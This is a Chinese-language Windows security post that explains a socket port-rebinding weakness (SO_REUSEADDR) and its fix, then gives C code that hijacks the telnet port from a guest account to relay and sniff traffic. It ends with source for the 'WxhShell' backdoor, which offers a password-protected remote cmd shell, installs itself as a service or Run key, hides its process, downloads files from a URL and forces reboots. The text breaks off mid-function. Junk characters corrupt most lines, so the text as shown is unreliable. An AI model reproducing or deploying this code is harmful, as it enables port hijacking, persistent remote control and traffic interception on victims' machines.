在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
pBC<u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M-uMZQe 7gS1~Q4\V2 saddr.sin_family = AF_INET;
$8BE[u|H2 U`x bPQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Q\3 Z|% 1Fi86 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{+g[l5CR[ =)OC|?9C\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.6pOvGKb JkA|Qdj~Mr 这意味着什么?意味着可以进行如下的攻击:
$Vv}XMxw p=QYc)3F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<vbIp& %AnW~v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
l~Lb!; ,dN )2E%b+" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7a$G@ b( ^^m:(w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
swc@34ei\ \ U-vI:J_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
il:nXpM! @oG)LT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~H}en6Rc H_IGFZ Ch 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)hj|{h7 GW2')}g #include
BXUF^Hj% #include
mEuHl> #include
s2v(=
#include
yO>V/5` DWORD WINAPI ClientThread(LPVOID lpParam);
WnAd5#G int main()
I}Xg&-L {
vVs#^"-nW WORD wVersionRequested;
/LQ:Sv7 DWORD ret;
y/@iT8$rp WSADATA wsaData;
!=*.$4 BOOL val;
(a6?s{( SOCKADDR_IN saddr;
m^{
xd2 SOCKADDR_IN scaddr;
)-/gLZsx int err;
u; TvS
| SOCKET s;
WIh@y2&R SOCKET sc;
p11G#.0 int caddsize;
i3
)xX@3 HANDLE mt;
v&MU=Tcqi DWORD tid;
G(1 K9{i$ wVersionRequested = MAKEWORD( 2, 2 );
c~dM`2J, err = WSAStartup( wVersionRequested, &wsaData );
tO.$+4a if ( err != 0 ) {
swpnuuC- printf("error!WSAStartup failed!\n");
" B@jfa% return -1;
pyW u9 }
=<<3Pkv7@ saddr.sin_family = AF_INET;
e"+dTq8W hQgN9S5P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
S9Yt 1qb 3#<*k>1G? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/axTh saddr.sin_port = htons(23);
QlW=_Ymv{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<kD#SV%" {
y?N Nz0 printf("error!socket failed!\n");
LN!W(n( return -1;
/b.oEGqZX }
Y&'8VdW val = TRUE;
8HoP(+? //SO_REUSEADDR选项就是可以实现端口重绑定的
=V^@%YIn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
i|\{\d {
a]VGUW- printf("error!setsockopt failed!\n");
$<ddy/4 return -1;
GF--riyfB }
iY.eJlfH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
KC&`x| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+|C[-W7Sw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:J(sXKr[C @PcCiGZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\/Ij7nD`l% {
MMD<I6Iyv ret=GetLastError();
zd`=Ih2Wx printf("error!bind failed!\n");
GzdgL"M[ return -1;
.T3=Eq&"W }
SQKt}kDbM listen(s,2);
=2oUZjA while(1)
D&[Z;,CHMA {
[{PqV):p caddsize = sizeof(scaddr);
U7%28#@ //接受连接请求
4=p@2g2"H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}#b
%"I0 if(sc!=INVALID_SOCKET)
b4~H3| {
H,>#|F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;1LG&h,K if(mt==NULL)
KP~-$NR {
!.+"4TF printf("Thread Creat Failed!\n");
J`Oy .Qu) break;
cztS]dcf>~ }
w6EI{ }
3%M.U)|+ CloseHandle(mt);
]M4NpUM }
~Ob8i 1S> closesocket(s);
:k1$g+(lP WSACleanup();
Z! YpklZ?~ return 0;
iUNnPJh }
5a$$95oL DWORD WINAPI ClientThread(LPVOID lpParam)
#O</\|aH)i {
!s-/0ugZ SOCKET ss = (SOCKET)lpParam;
w<d*#$[,* SOCKET sc;
&`PbO unsigned char buf[4096];
j+1KNH SOCKADDR_IN saddr;
>}F? <JB long num;
L<@&nx DWORD val;
$'$>UFR DWORD ret;
R|t;p!T //如果是隐藏端口应用的话,可以在此处加一些判断
# ,P(isEZ" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Gj`f--2GE saddr.sin_family = AF_INET;
Ve14rn saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
kGD|c=K} saddr.sin_port = htons(23);
mG}k 3e- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/;+,mp4 {
:GM#&*$2< printf("error!socket failed!\n");
*tAqt2{48 return -1;
=8S}Iat }
ZW* fOaj val = 100;
lS3 _Ild if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)@c3##Zp) {
NS5 49S ret = GetLastError();
H^v{Vo return -1;
n^6TP'r }
\DyKtrnm% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gDhl- {
/'+4vXc@ ret = GetLastError();
0=,'{Vz}A return -1;
&enlAV'#)O }
s=\7)n=,M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
em/Xu {
mCrU//G printf("error!socket connect failed!\n");
{Pvr??"r closesocket(sc);
Isp_U5M closesocket(ss);
#wD7 \X-f return -1;
di<B ~:l58 }
sWW\bK0B4 while(1)
y7;
5xF?q {
h*l4Y!7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
h*waRD //如果是嗅探内容的话,可以再此处进行内容分析和记录
(lb`#TTGx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&U0WkW num = recv(ss,buf,4096,0);
/Ef4EX0 if(num>0)
|QqWVelc send(sc,buf,num,0);
dAwS<5! else if(num==0)
wL'C1Vr break;
<
[w++F~ num = recv(sc,buf,4096,0);
`^f}$R| if(num>0)
K*[0dza$ send(ss,buf,num,0);
9T]va]w?# else if(num==0)
C[W5d~@;E break;
YRu%j4Tx }
\
>(zunL closesocket(ss);
FP@A;/c closesocket(sc);
UR\ZN@O return 0 ;
}9FD/ }
o5V`'[c x/[8Wi,yB K5+!(5V~ ==========================================================
%)dI2 J^Xf :3 PG f 下边附上一个代码,,WXhSHELL
7ozYq_ $ e
Ri!\Fx ==========================================================
_jk|}IB;X ]t7ClT)n! #include "stdafx.h"
w=gQ3j#s U!_sh< #include <stdio.h>
7~lB}$L #include <string.h>
NB3/A"}"02 #include <windows.h>
Rgs3A)[`d/ #include <winsock2.h>
yvS^2+jW #include <winsvc.h>
&(WE]ziuO #include <urlmon.h>
uq]iMz> 4=UI3 2v3 #pragma comment (lib, "Ws2_32.lib")
w8U2y/:> #pragma comment (lib, "urlmon.lib")
|M]sk?"^ -D$3!ccX #define MAX_USER 100 // 最大客户端连接数
F1/6&u9I #define BUF_SOCK 200 // sock buffer
4g S[D #define KEY_BUFF 255 // 输入 buffer
7!mJhgGc 9c:5t'Qt5. #define REBOOT 0 // 重启
Age-AJ #define SHUTDOWN 1 // 关机
- =yTAx wiKCr/ #define DEF_PORT 5000 // 监听端口
S q.9-h%5 *j/uihY #define REG_LEN 16 // 注册表键长度
0U9+ #define SVC_LEN 80 // NT服务名长度
s%FP6u7[i !OV|I // 从dll定义API
57'q;I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R+k=Ea&x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
x ru(Le}E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F: f2s:< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0%#t[usY ?i/73H+;D3 // wxhshell配置信息
uFMs^^# struct WSCFG {
fHW-Je7mG int ws_port; // 监听端口
%!>k#F^S char ws_passstr[REG_LEN]; // 口令
fdg[{T4: int ws_autoins; // 安装标记, 1=yes 0=no
XlE$. char ws_regname[REG_LEN]; // 注册表键名
osI- o~#> char ws_svcname[REG_LEN]; // 服务名
J: L -15 char ws_svcdisp[SVC_LEN]; // 服务显示名
5X0_+DdeL char ws_svcdesc[SVC_LEN]; // 服务描述信息
u2f `|+1^y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
bbM4A! N int ws_downexe; // 下载执行标记, 1=yes 0=no
.Y+mwvLpRG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\-DM-NrZ1U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]w5ji 1 VPg`+o };
U<1}I.hDJ ngtuYASc // default Wxhshell configuration
t- !h
X/ struct WSCFG wscfg={DEF_PORT,
aA7S'[NjB "xuhuanlingzhe",
Yjpb+} 1,
#tCIuQ, "Wxhshell",
eOO!jrT: "Wxhshell",
YmdsI+DbIu "WxhShell Service",
zUvB0\{q "Wrsky Windows CmdShell Service",
i%#th'C!P "Please Input Your Password: ",
Rv0-vH.n 1,
;:-}z.7Y "
http://www.wrsky.com/wxhshell.exe",
?S+/QyjcfJ "Wxhshell.exe"
-Mit$mFn };
r[Z g 2 {\
A_% // 消息定义模块
Iwnj'R7: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`#-p,NElV char *msg_ws_prompt="\n\r? for help\n\r#>";
-Pv P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,^UcRZ8.H char *msg_ws_ext="\n\rExit.";
4;B=Qoxe char *msg_ws_end="\n\rQuit.";
?*B;514 char *msg_ws_boot="\n\rReboot...";
clij|?O char *msg_ws_poff="\n\rShutdown...";
8 ))I$+ char *msg_ws_down="\n\rSave to ";
zS&7[:IRs' (or =f` char *msg_ws_err="\n\rErr!";
?z*W8b]' char *msg_ws_ok="\n\rOK!";
j 8~Gv=(h }])GQ@ char ExeFile[MAX_PATH];
O~7p^i} int nUser = 0;
<FMuWHY HANDLE handles[MAX_USER];
,C5@P+A int OsIsNt;
"j*fVn 0Og/47dO.2 SERVICE_STATUS serviceStatus;
o{s4.LKK SERVICE_STATUS_HANDLE hServiceStatusHandle;
Z&2
&wD PQr#G JG7 // 函数声明
UMnR=~. int Install(void);
3<V.6'*k int Uninstall(void);
]9!Gg int DownloadFile(char *sURL, SOCKET wsh);
G <} 7vF int Boot(int flag);
XRX7qo(0g void HideProc(void);
krnvFZRTQ int GetOsVer(void);
<v1_F;{n int Wxhshell(SOCKET wsl);
EBN]>zz void TalkWithClient(void *cs);
BV_a-\Sa= int CmdShell(SOCKET sock);
#d7)$ub int StartFromService(void);
$i5G7b int StartWxhshell(LPSTR lpCmdLine);
?j},O=JFn _rWTw+
L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(7
]\p VOID WINAPI NTServiceHandler( DWORD fdwControl );
AmUe0CQ:k' K6PC&+x // 数据结构和表定义
8trm`?> SERVICE_TABLE_ENTRY DispatchTable[] =
bCe[nmE2 {
\oD=X}UQw( {wscfg.ws_svcname, NTServiceMain},
x3:ZB {NULL, NULL}
#,Fx@3y\a };
Lx4H/[$6D l,~ N~? // 自我安装
o
=jX int Install(void)
5VY%o8xXa {
zmrX%!CW char svExeFile[MAX_PATH];
Y6[] wUJ HKEY key;
HzFt strcpy(svExeFile,ExeFile);
m-&a~l (RI>aDGRH // 如果是win9x系统,修改注册表设为自启动
'PxL^ if(!OsIsNt) {
}K qw\]` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qrORP3D@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}VJ hw*s RegCloseKey(key);
d-_93 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kG~ivB}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"X!_37kQ RegCloseKey(key);
J}93u(T5 return 0;
~h~r]tV*+ }
&El[ }
g
tSHy*3] }
PhI{3B/ else {
123-i,epg 42H#n]Y // 如果是NT以上系统,安装为系统服务
-qr:c9\px SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'p{Y{
$Q if (schSCManager!=0)
oGU.U9~! {
o 2$<>1^ SC_HANDLE schService = CreateService
|<5J (
~T{d9yNW1 schSCManager,
_3-,3ia wscfg.ws_svcname,
~"hAb2 wscfg.ws_svcdisp,
'ra_Zg[j SERVICE_ALL_ACCESS,
OHXeqjhy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@b(gjOE SERVICE_AUTO_START,
YC+ZVp"v SERVICE_ERROR_NORMAL,
hKH
Q!`&v svExeFile,
A`mf 8'nTG NULL,
yp7,^l NULL,
Phjf$\pt NULL,
|7 W6I$Xl NULL,
r>D[5B NULL
]mDsUZf< );
x,@O:e if (schService!=0)
o2t@-dNi {
DrYoC7 CloseServiceHandle(schService);
9Y*Vz QE CloseServiceHandle(schSCManager);
".7KEnx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DNTRLIKa strcat(svExeFile,wscfg.ws_svcname);
8~XI7g'5x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{pi67"mYp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+HVG5l RegCloseKey(key);
wNlV_ return 0;
1OJD\wc }
G5Dji_ | }
5w-G]b CloseServiceHandle(schSCManager);
I.n{ "=$B@ }
3hpz.ISk }
Et[QcB3 I n%yMH8 return 1;
1Y"y!\t7G }
\c`r9H^v{ Z6HkQ=A64 // 自我卸载
$DMu~wwfG int Uninstall(void)
_jI)!rfb {
5&7?0h+I HKEY key;
RM=+ZmA ~O3uje_ if(!OsIsNt) {
A_$Mt~qKi^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d4rJ?qw RegDeleteValue(key,wscfg.ws_regname);
_}%#Yz RegCloseKey(key);
f0s<Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^IegR> RegDeleteValue(key,wscfg.ws_regname);
[!|d[ RegCloseKey(key);
T;vPR,]rz return 0;
&JzF }
k>@^M]% }
MyS7AL }
lKD< else {
mf_9O H0Gp mKYW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7D1`^,? if (schSCManager!=0)
X0J]6|du. {
mJ#B<I' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j~<iTLM if (schService!=0)
4)S?Y"Bs {
70l;**"4 if(DeleteService(schService)!=0) {
~$`YzK^*X CloseServiceHandle(schService);
Vste$V CloseServiceHandle(schSCManager);
9kiy^0
7G return 0;
[(ib9_`A'1 }
3lEU$)QA3 CloseServiceHandle(schService);
x)Om[jZE }
,'0oj$~S: CloseServiceHandle(schSCManager);
N`^W*>XB }
T;e (Q,!H }
V$]a&wM<5 (~yJce return 1;
Bd]DhPhJ }
C=f(NpyD6 %b'VEd7 // 从指定url下载文件
wUPywV1UO int DownloadFile(char *sURL, SOCKET wsh)
WYd,tGz {
`e69kBAm HRESULT hr;
MrjB[3Td char seps[]= "/";
%^BOYvPx char *token;
WX$^[^=HC char *file;
544I#! char myURL[MAX_PATH];
(N>ew)Ke char myFILE[MAX_PATH];
CX2q7azG :JG}% strcpy(myURL,sURL);
uS10P7N} token=strtok(myURL,seps);
9>Z#o<*_/ while(token!=NULL)
])";Z {
K%#C+`Ij file=token;
=-&iF token=strtok(NULL,seps);
&:{yf= }
CAObC% [t\Mu}b GetCurrentDirectory(MAX_PATH,myFILE);
,#FH8%Yf strcat(myFILE, "\\");
!ZcALtq strcat(myFILE, file);
Ji?UG@ send(wsh,myFILE,strlen(myFILE),0);
4o8HEq! send(wsh,"...",3,0);
M L_J<|,J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%R5MAs&-5 if(hr==S_OK)
-]MP,P% return 0;
tm#y`1- else
JS.'v7 return 1;
g5HqU2 `6F8Kqltr }
9 W
r(w ~Q\uP(!D // 系统电源模块
{ J%$.D(/ int Boot(int flag)
DcM+K@1E4^ {
`SbX`a0p2 HANDLE hToken;
aQuy*\$$ TOKEN_PRIVILEGES tkp;
Ss/="jC mq}
#{ if(OsIsNt) {
yc}t(*A5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\0& (q%c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?Qp_4<(5 tkp.PrivilegeCount = 1;
im\Ws./ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s'w0pZqj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7oSuLo= if(flag==REBOOT) {
a{6|[aR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+Uk.|@b=-V return 0;
U7'oI;C$e }
wBGxJ\+M else {
u _^=]K; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
N%i<DsK.u6 return 0;
9~af\G }
{u][q
&n }
id9T[^h else {
Q)dns)_x if(flag==REBOOT) {
'hWRwP| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:
s3Vl return 0;
9e6{( }
0w&1wee( else {
>U.uRq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8# AXK{ return 0;
PUo&> }
OOwJ3I >]> }
q+Q)IVaU81 ,g.=vQm:? return 1;
h2snGN/{Hb }
k9?+9bExXA 40ZB;j$l // win9x进程隐藏模块
c *no H[ void HideProc(void)
arrcHf4O {
o%7yhCY D/>5\da+y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a-=apD1RvG if ( hKernel != NULL )
w+D5a
VJ {
9)X<}*(qo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9_$Odc%] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)QT+;P. FreeLibrary(hKernel);
r}bKVne }
6U]7V l"#,O$x"#@ return;
V&85<Y%Nl| }
s*Ll\# ],4LvIPD // 获取操作系统版本
s| oU$?eA int GetOsVer(void)
Wn5]2D\vkT {
["9$HL OSVERSIONINFO winfo;
('oUcDOFTS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bp_@e0 GetVersionEx(&winfo);
C I0^eaFs if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Czn7,KE8X return 1;
4v$AM8/o else
4[wP$ return 0;
:r=_\? }
BO|Jrr> =)LpMTz // 客户端句柄模块
r8$TT\?~ int Wxhshell(SOCKET wsl)
QJ?!_2Ax {
5#PhaVc SOCKET wsh;
tp&iOP6O struct sockaddr_in client;
4dAhJjhgD DWORD myID;
J>Ha$1}u/ f|)t[,c while(nUser<MAX_USER)
NST6pu\,U {
03T.Owd int nSize=sizeof(client);
$Tza<nA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
sjGZ
,?% if(wsh==INVALID_SOCKET) return 1;
7\lb+^$ HVpaVM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6h%(0=^ if(handles[nUser]==0)
CTYkjeej closesocket(wsh);
Yn/-m
Z else
1F/&Y}X nUser++;
@ So"(^ }
hpu(MX\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
c#Bde-dh m` cG&Ar5 return 0;
!T)>q%@ai }
3[4]G@ P8f-&( // 关闭 socket
Pe.D[]S void CloseIt(SOCKET wsh)
We2=|AB {
ZWH`s closesocket(wsh);
|)?T([ nUser--;
U$}]zaB ExitThread(0);
w.\:I[ }
th{h)( +H G 2##M8:U0 // 客户端请求句柄
;d4_l:9p void TalkWithClient(void *cs)
;f\0GsA# {
fx},.P=:* o\N}?Z,Kk SOCKET wsh=(SOCKET)cs;
5o*x?P!$ char pwd[SVC_LEN];
%qMk&1
char cmd[KEY_BUFF];
iuEdm:pW char chr[1];
e9hQJ
1{)x int i,j;
*0@e_h /VQ<}S[k}- while (nUser < MAX_USER) {
x,+zw9 [@czvPi if(wscfg.ws_passstr) {
AyUVsIuPT= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vjb{h'v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:Pv{E //ZeroMemory(pwd,KEY_BUFF);
jsj" W&J i=0;
dj#<,e\ while(i<SVC_LEN) {
o<y7Ut .?qS8:yA // 设置超时
c<=1,TB"-_ fd_set FdRead;
'E9jv4E$n struct timeval TimeOut;
i \~4W$4I FD_ZERO(&FdRead);
!VW#hc\A5 FD_SET(wsh,&FdRead);
?`xId;}J#7 TimeOut.tv_sec=8;
Tym!7H2 TimeOut.tv_usec=0;
:
SNp"| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sx;1V{|g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
y<
84Gw_ 5o?bF3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/dAIg1ra pwd
=chr[0]; YL]x>7T~4t
if(chr[0]==0xd || chr[0]==0xa) { 9ccEF6o0=
pwd=0; VCI G+Gz
break; DIY WFVh
} YG_3@`-<
i++; 4s~o
} 97lwPjq
:3k(=^%G!
// 如果是非法用户,关闭 socket JW$#~"@r
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BmZd,}{
} )9$Xfq/
;]gph)2cd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rv+"=g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2&M
8Wb#
UX6-{
RP
while(1) { F n\)*; ^
2neiUNT
ZeroMemory(cmd,KEY_BUFF); xGqZ8v`v
ev>: 3_ s
// 自动支持客户端 telnet标准 +Fk.B@KT,
j=0; P)3e^~+A
while(j<KEY_BUFF) { ?w.Yx$Z"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : v]< h
cmd[j]=chr[0]; 6i%)'dl
if(chr[0]==0xa || chr[0]==0xd) { p8Pvctc
cmd[j]=0; ?@ O[$9y
break; z;-2xD0&U[
} cla4%|kq3Y
j++; KF.?b]
} $ysC)5q.
iVD9MHT4
// 下载文件 83@+X4ptp
if(strstr(cmd,"http://")) { !e?\>
'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E @7! :
if(DownloadFile(cmd,wsh)) u{si
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T"$"`A"
else =T1i(M#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {d)+a$qj
} {2,V3*NF
else { LWY`J0/
MSA*XDnN
switch(cmd[0]) { M/BBNT
O!a5
// 帮助 RxqXGM`4
case '?': { %9IM|\ulp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :U~[%]
break; {pVD`#Tl[
} `=oN &!
// 安装 R{.ku!w
case 'i': { aw(P@9]
if(Install()) DY1o!thz)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bygwoZ<E
else "UE'dWz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !=ZbBUJF
break; WHU&9N
} JV@>dK8
// 卸载 Ls9G:>'rR
case 'r': { qh=lF_%uj
if(Uninstall()) 9khD7v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hNQ,U{`;^
else ='~C$%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P", 53R+"
break; EPyFM_k
} rK];2[U
// 显示 wxhshell 所在路径 u+hzCCwtR
case 'p': { T\OLysc
char svExeFile[MAX_PATH]; JIK;/1
strcpy(svExeFile,"\n\r"); *F=wMWa
strcat(svExeFile,ExeFile); /7*u!CNm
send(wsh,svExeFile,strlen(svExeFile),0); hF6EOCY6D
break; )4j#gHN\
} &0M^UvO
// 重启 98x(2fCvF(
case 'b': { Q+S>nL!*#1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $AoN,B>
if(Boot(REBOOT)) =\tg$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); % nJ'r?+h
else { 07CGHAxJ`
closesocket(wsh); GMFp,Df
ExitThread(0); ++xEMP)
} KVJiCdg-
break; DI+kO(S
} -BR&b2
// 关机 Ucv-}oa-?
case 'd': { HZR~r:_
i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ns@b0'IF]
if(Boot(SHUTDOWN)) "",V\m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8g ;t3z
else { "Y4tt0I
closesocket(wsh); *2@Ne[dYEF
ExitThread(0); g!4"3Dtdg
} 7)~/`w)P
break; HdLVXaD/
} Kx ';mgG#$
// 获取shell U1B5gjN
case 's': { an.)2*u
CmdShell(wsh); je.mX /Lpj
closesocket(wsh); JIDE]f
ExitThread(0); +.{_n(kU
break; Z|E( !"zE9
} Ip|7JL0Z
// 退出 }*;Hhbox
case 'x': { H+F'K
XP*K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EY':m_7W
CloseIt(wsh); 6MF%$K3
break; tFXG4+$D
} A:>G: X5t
// 离开 jPhOk>m
case 'q': { 9J*m!-hOY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P$\(Bd\76
closesocket(wsh); 3.
fIp5g
WSACleanup(); om|M=/^
exit(1); yjc:+Y{5'
break; !\^c9Pg|v
} #|)GarDG
} VMsAT3^w
} J=5G<
dX` _Y
// 提示信息 |>Kf_b Y#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x-Yt@}6mvl
} @:X~^K.
} %=%jy
:43K)O"
return; jO3Z2/#
} Q lql(*
$GPenQ~},
// shell模块句柄 DM"`If%3j
int CmdShell(SOCKET sock) :U^a0s%B
{ 4>gkXfTF
STARTUPINFO si; a'rN&*P
ZeroMemory(&si,sizeof(si)); ^!!@O91T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RR*<txdN
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n"$D/XJO
PROCESS_INFORMATION ProcessInfo; 0~Z2$`(
char cmdline[]="cmd"; =#SKN\4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YB.r-c"Y
return 0; ZmU S}
} 9-I;'
P*Uu)mG)G
// 自身启动模式 |&o%c/
int StartFromService(void) /\(0@To
{ mq do@
typedef struct tNoo3&
{ OANn!nZ.
DWORD ExitStatus; P.=&:ay7?
DWORD PebBaseAddress; JEGcZeq)
